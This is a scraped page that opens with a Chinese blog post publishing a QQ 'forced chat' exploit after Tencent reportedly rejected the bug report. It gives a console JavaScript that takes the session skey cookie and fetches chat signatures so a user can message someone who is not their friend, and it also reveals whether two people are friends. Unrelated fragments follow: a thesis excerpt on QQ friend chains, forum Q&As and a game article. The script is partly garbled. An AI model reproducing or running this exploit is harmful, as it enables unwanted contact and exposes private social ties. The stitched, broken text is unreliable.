& & &QQ强聊虽然早就变成了一个传说，但现在依然可以实现。
& & &小菜其实早就知道这个漏洞，但是一直没公布，前两天突然来兴致试了试，没想到漏洞依然存在。
& & &然后小菜跑到了乌云漏洞报告平台举报漏洞，但没想到被腾讯鲁莽的否认了，他竟然说漏洞不存在，漏洞不存在，那些截图是怎么来的。。。小菜辛辛苦苦写的漏洞原理，就这么无情的被拒绝了。。。
& & &小菜很失望，既然腾讯这么不负责任，那小菜就把漏洞发出来。
& & &漏洞的具体原理，小菜已经在乌云上阐述了《》，十分的详细，在这不多说。
& & &为了让读者更方便的利用此漏洞，小菜写了一个js脚本，脚本如下
1 (function(exports){
var chatVO = {
yourQQ: "",
//你好友的QQ
yourFQQ: "",
//女神的QQ
targetQQ: "",
//女神好友的QQ
targetFQQ: ""
var config = {
init: function(){
skey = getCookie("skey") || getCookie("rv2") || "";
function getCookie(name){
var r = new RegExp("(?:^|;+|\\s+)" + name + "=([^;]*)"), m = document.cookie.match(r);
return !m ? "" : m[1];
function _DJB (str) {
var hash = 5381;
for (var i = 0, len = str. i & ++i)
hash += (hash && 5) + str.charCodeAt(i);
return hash &
this.sigURL = this.sigURL.replace("{{t}}",_DJB(skey));
sigURL: "http://r.qzone.qq.com/cgi-bin/user/cgi_tmp_talk?qzone_uin={{sender}}&to_uin={{receiver}}&g_tk={{t}}",
chatURL: "tencent://message/?Menu=yes&uin={{sender}}&Service=112&SigT={{sigt}}&SigU={{sigu}}"
var util = {
ajax: function(obj){
if(obj.async === undefined){
obj.async = true;
if(window.XMLHttpRequest){
xmlHttp = new XMLHttpRequest();
xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
xmlHttp.onreadystatechange=function(){
obj.callback(xmlHttp);
xmlHttp.open(obj.type,obj.url,obj.async);
xmlHttp.send();
var logic = {
getSigU: function (sender,receiver){
var sigu = "";
util.ajax({
url: config.sigURL.replace("{{sender}}",sender).replace("{{receiver}}",receiver),
type: "get",
async: false,
callback: function(xhr){
if(xhr.readyState == 4){
var html = xhr.responseText.replace(/[\n]/g,"");
if(/&SigU=/gmi.test(html)){
sigu = html.split(/&SigU=/m)[1].split(/'/m)[0];
alert("你和你的好友，好友关系不成立！");
getSigT: function (sender,receiver){
var sigt = "";
util.ajax({
url: config.sigURL.replace("{{sender}}",sender).replace("{{receiver}}",receiver),
type: "get",
async: false,
callback: function(xhr){
if(xhr.readyState == 4){
var html = xhr.responseText.replace(/[\n]/g,"");
if(/&SigT=/gmi.test(html)){
sigt = html.split(/&SigT=/m)[1].split(/&SigU=/m)[0];
alert("他和他的好友，好友关系不成立！");
runChat: function (sender,sigu,sigt) {
exports.location = config.chatURL.replace("{{sender}}",sender).replace("{{sigt}}",sigt).replace("{{sigu}}",sigu);
config.init();
var sigu = logic.getSigU(chatVO.yourQQ,chatVO.yourFQQ);
var sigt = logic.getSigT(chatVO.targetFQQ,chatVO.targetQQ);
logic.runChat(chatVO.targetQQ,sigu,sigt);
107 })(this);
& & &这个脚本，您只需要关注最顶部的四个参数，
& & &yourQQ: "",
& & &yourFQQ: "",
& & &targetQQ: "",
& & &targetFQQ: ""
& & &这四个参数缺一不可，而且必须都正确，读者可根据自己的实际情况填写，主要就是女神好友的QQ可能不知道（任意一个好友即可），猜吧！
& & &假如您不知道女神好友的QQ，乱填一个，会提示好友关系不成立，顺便还可以用这个提示测试两个人是不是好友，很实用吧！
　 &测试的时候忽略了一个问题：女神好友的QQ(targetFQQ)，作为中间人，不能随便填，必须同时是你们两个的好友才可以。。。抱歉！！
& & &接下来说说怎么运行这个脚本。
& & &首先要用浏览器打开你的QQ空间，最好使用火狐和谷歌浏览器，然后保持QQ空间是登录状态。
& & &然后在QQ空间的选项卡旁边新建一个选项卡，输入网址：http://r.qzone.qq.com，按回车转到，发现是一片空白，这就对了。
& & &在浏览器上按F12打开控制台，把脚本粘贴到控制台中，运行即可。
& & &为什么要这么做呢。。。登录QQ空间是为了拿到有效的cookie，否则没办法访问腾讯接口，而新建一个选项卡是为了避免跨域问题，同时又可以与登录的QQ空间共享cookie。
& & &其他就没什么了，快动手试试吧！
阅读(...) 评论()您所在位置： &
&nbsp&&nbsp&nbsp&&nbsp
腾讯QQ好友关系链设计与实现.doc 25页
本文档一共被下载：
次 ,您可全文免费在线阅读后下载本文档。
下载提示
1.本站不保证该用户上传的文档完整性，不预览、不比对内容而直接下载产生的反悔问题本站不予受理。
2.该文档所得收入(下载+内容+预览三)归上传者、原创者。
3.登录后可充值，立即自动返金币，充值渠道很便利
你可能关注的文档：
··········
··········
腾讯QQ好友关系链的设计与实现
开封房产资料大全
目前,基于好友关系链的应用非常流行,这其中包括已经现已风靡网络的SNS社区，也包括正飞速发展的微博。与传统网站的信息交换方式不同，这些基于好友关系链的网络应用，信息的交换途径均是通过用户自主建立的关系网，信息的产生也大多来自用户本身。如此一来，这类网站的的用户从这类网站得到的信息准确性针对性就很高，因为信息来源是用户的好友关系网，因此用户更乐意到这里来获取自己感兴趣的内容。而另一方面，用户的主动参与，可以通过用户的好友关系网传递出去，用户在这个过程中也可以与他的好友进行互动，因此用户的参与积极性与参与深度会大大提高。两个因素会互相影响，互相促进，不断提高网络应用的质量。
这些网络应用尽管各自关注，服务的侧重点不同，但他们都是基于庞大用户群体间的好友关系链，向用户提供发布信息以及获取信息的服务。这其中的最重要的基础，就是用户群体及之上的好友关系链。离开这个基础，这类应用就会失去他们最吸引用户的优点。但是对大多数网络应用来说，在一开始就积累大量的用户以及用户关系，往往是最困难的部分。反过来，如果基于好友关系链的网络应用从一开始就有用户群体的基础做支撑，那发展壮大的步伐就会大大加快。
众所周知，腾讯QQ拥有庞大的用户基数,以及高度的用户活跃度及互动性,又由于IM软件的特性，QQ的用户间已经建立了一个庞大，稳固的好友关系链。事实上，腾讯QQ已经形成了国内最大的好友关系网。基于这些已有的资源优势，腾讯QQ如果进入基于好友关系链的网络应用这个领域，将会有比较大的先天用户优势，事实也证明了如此。
在SNS浪潮袭来之时，腾讯将之前的QZone做了转型，由原来单纯的个人空间的定位，加入了SNS的元素。利用QQ客户端的好友关系链基础，QZone引入了SNS社区中最基本的“好友动态”功能，增加了QZone间好友的信息互动。同时后来又参考了facebook，人人网等的网站功能，有限的开放了一部分第三方应用，如著名的网页游戏QQ农场。另外，相比QZone这种中途转型的应用，腾讯也推出了原生的SNS社区——校友网，虽然起步比同类针对高校的SNS社区较晚，但得利于QQ客户端的用户优势，在较短时间内也得到迅速发展，逐步赶上竞争对手。由这两个例子就可以看出，利用腾讯QQ的用户资源，基于好友关系链的SNS类型社区可以得到一个很好的发展基础。
本人工作所在的腾讯公司广告平台与产品部-互动营销研发中心，主要的工作就是利用腾讯QQ的用户资源，为广告客户提供可以与用户互动的网络营销产品。当今的网络广告，已经不仅仅是简单的点击和资源展示。网络广告相对于传统媒体，最大的优势就是可以与广告接受者进行互动，强化品牌宣传效果。考虑到如今的SNS社区浪潮，如果将SNS的概念与传统的品牌宣传结合到一起，那么就可以利用SNS社区高参与度的特性，让品牌宣传渗透到用户的参与过程中，品牌社区的概念就是在这样的情况下被提出来的。
在我们之前的工作中，已经有很多将用户与品牌宣传相结合的例子，但还没有利用好友关系链，以SNS社区形式出现的项目的经验。在我们这次的项目中，我们就是要开创这个先河，在研究并实现QQ用户好友关系链的基础上，开发一个SNS社区，并结合客户的品牌，设置SNS社区中的内容，来达到互动营销的目的。
在我们的好友关系链开发中，主要基于LAMP（Linux+Apache+MySql+PHP5）平台进行后台开发，在需要的情况下会使用到一些c++的程序作为后台处理程序。在本文之后的介绍中，会具体的介绍开发平台的整个细节。
在本文的介绍中，主要的内容会集中在好友关系链的后台开发，具体会从数据库设计，业务逻辑与sql设计等方面，来介绍好友关系链后台的核心功能——好友关系列表以及信息在好友间的传递的开发过程。本文会采用由浅入深，由简到繁的方式，从最初的一个简单模型，逐步深化，逐步完善，最终完成好友关系链的后台的核心部分。
除了功能开发意外，性能优化也是项目的重要内容。穿插于功能的介绍之间，本文还会阐述在逐渐完善好友关系链功能的同时，如何从数据库，缓存层，项目结构等多个方面来提高好友关系链后台的性能表现，以支持实际使用中巨大的数据量和访问量。
此外，由于实际使用中可能出现较多的变更，尤其由于广告的原因，项目会有比较频繁的需求变化，因此，在好友关系链后台的编码中，我们也很重视系统中可能变更的部分，在开发中更注意系统的可配置性。
项目的最后，结合了实际的商业项目需求，利用已开发的好友关系链，建立了一个SNS类型的品牌互动营销社区，使我们的工作在实际项目中得到了使用，也在实际运营中验证了之前性能优化的作用，也发现了一些性能，为之后的持续优化提供依据与目标。
关键词：腾讯QQ，好友关系链，SNS
DESIGN AND IMPLEME
正在加载中，请稍后...【有爱qq吧】手机扣扣这种好友关系是什么关系_qq吧_百度贴吧
&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&签到排名：今日本吧第个签到，本吧因你更精彩，明天继续来努力！
本吧签到人数：0成为超级会员，使用一键签到本月漏签0次！成为超级会员，赠送8张补签卡连续签到：天&&累计签到：天超级会员单次开通12个月以上，赠送连续签到卡3张
关注：3,211,821贴子：
【有爱qq吧】手机扣扣这种好友关系是什么关系收藏
原谅每个活在惶恐中的糟糠之妻 男朋友和外来小女生是如此关系互动求破解这是种什么互动关系
十五字不用数了就是十五字你还数
你的好友列表没他，他的列表有你
你把他删了，单方删
登录百度帐号QQ提示解除关系或者加为好友是什么意思_百度知道
该问题可能描述不清，建议你
QQ提示解除关系或者加为好友是什么意思
我有更好的答案
这是因为某种情况造成的对方列表里有自己，自己的列表里却没有对方。（比如自己设置的不需要任何验证信息即可添加自己为好友，别人如果是在这种情况下添加的自己，那么对方的列表里有自己，而自己的列表里就没有对方）解除关系：自己的列表里本就没有对方，一旦解除关系，那么对方的列表里也将没有自己。加为好友：对方的列表里有自己，自己的列表里却没有对方，此时就需要通过【加为好友】来将对方添加进自己的好友列表。
采纳率：54%
解除关系是他的qq好有里有他，你的好有里没他，加为好友后彼此之间都有对方qq号
本回答被提问者和网友采纳
　　意思是与此人是单向好友或者陌生人，要解除还是要添加的意思是：解除关系即解除您与他的陌生人或者单向好友关系加为好友即添加为双向好友
那是单向好友
那是单向好友
就是对方还不是你的好友
这人有问题的！！！或者他帮拉黑了！
其他5条回答
为您推荐：
其他类似问题
换一换
回答问题，赢新手礼包
个人、企业类
违法有害信息,请在下方选择后提交
色情、暴力
我们会通过消息、邮箱等方式尽快将举报结果通知您。迷你帝国QQ好友关系链有什么用？QQ好友关系链详解_腾牛网
专业的QQ下载站 本站非腾讯QQ官方网站
迷你帝国QQ好友关系链有什么用？QQ好友关系链详解
迷你帝国已经正式登陆手Q平台了，迷你帝国模拟经营、培养士兵、研究科技、进攻战争、抵御敌人、抢夺领地、殖民对手、创建军团等众多趣味系统集一身。有的玩家问迷你帝国QQ好友关系链怎么玩？下面小编将迷你帝国QQ好友关系链的玩法为玩友们做了详细的介绍。推荐：[]QQ好友关系链有什么用？QQ好友关系链，可供查看同时在玩《迷你帝国》的QQ好友信息，可相互切磋、相互赠送资源礼物；除了QQ好友关系链，以后还将开放相互捐献士兵，供战斗时使用；以上就是小编给玩友们带来的迷你帝国QQ好友关系链的玩法，主要从查看好友信息和互赠资源等方面为大家做了介绍，希望能给玩友们更好的游戏体验。
12-1612-1612-1612-16}